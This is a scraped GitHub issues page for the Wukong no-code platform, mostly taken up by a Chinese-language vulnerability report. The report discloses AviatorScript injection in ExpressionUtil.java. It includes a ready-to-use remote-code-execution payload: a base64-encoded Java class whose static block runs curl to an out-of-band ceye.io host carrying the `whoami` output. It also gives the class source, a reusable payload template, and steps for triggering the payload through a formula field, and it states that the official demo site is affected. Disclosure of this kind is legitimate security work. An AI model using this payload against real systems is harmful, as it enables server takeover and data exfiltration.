wukongopensource / wukong_nocode Goto Github PK
View Code? Open in Web Editor NEW悟空无代码平台正式开源,通过悟空无代码平台开发工具,企业可自主地快速开发出适合企业需要的信息化系统,开发过程只需要业务人员参与,开发效率极高,维护性很强。
悟空无代码平台正式开源,通过悟空无代码平台开发工具,企业可自主地快速开发出适合企业需要的信息化系统,开发过程只需要业务人员参与,开发效率极高,维护性很强。
该开源项目采用的是什么license呢?
<=latest
In ExpressionUtil.java, AviatorEvaluator is used to directly execute expression functionality without any configured security policies, leading to potential AviatorScript injection vulnerabilities (which by default can execute arbitrary static methods).
For example, running the following AviatorScript script can lead to executing a curl command.
use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString('yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTGE7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAZAQAKU291cmNlRmlsZQEABmEuamF2YQwACAAJBwAcDAAdAB4BACtjdXJsIGh0dHA6Ly9pcC5wb3J0LmU3OGp0by5jZXllLmlvL2B3aG9hbWlgDAAfACABABNqYXZhL2xhbmcvRXhjZXB0aW9uAQABYQEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAAAwAMAAAADAABAAAABQANAA4AAAAIAA8ACQABAAoAAABPAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAwALAAAAEgAEAAAABgAJAAgADAAHAA0ACQAMAAAAAgAAABAAAAAHAAJMBwARAAABABIAAAACABM=');use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('a',str,loader);
payload生成过程:
将
public class a {
static {
try {
Runtime.getRuntime().exec("curl http://ip.port.e78jto.ceye.io/`whoami`");
} catch (Exception e) {
}
}
}
此java a类编译为class后转换为base64字符串后替换{{evilpayload}}处
use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString('{{evilpayload}}');use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('a',str,loader);
此漏洞使用官方环境都能执行命令执行:https://www.72crm.com/
由于AviatorEvaluator 得表达式存在很多地方都在使用,很多地方都能触发AviatorScript Inject。
首先在无代码模块中添加一个模块
正常设置字段,添加计算公式为AviatorEvaluator命令执行的payload
我此处设置的手机为主模块,添加后执行表达式进行触发,选择的curl外带命令执行
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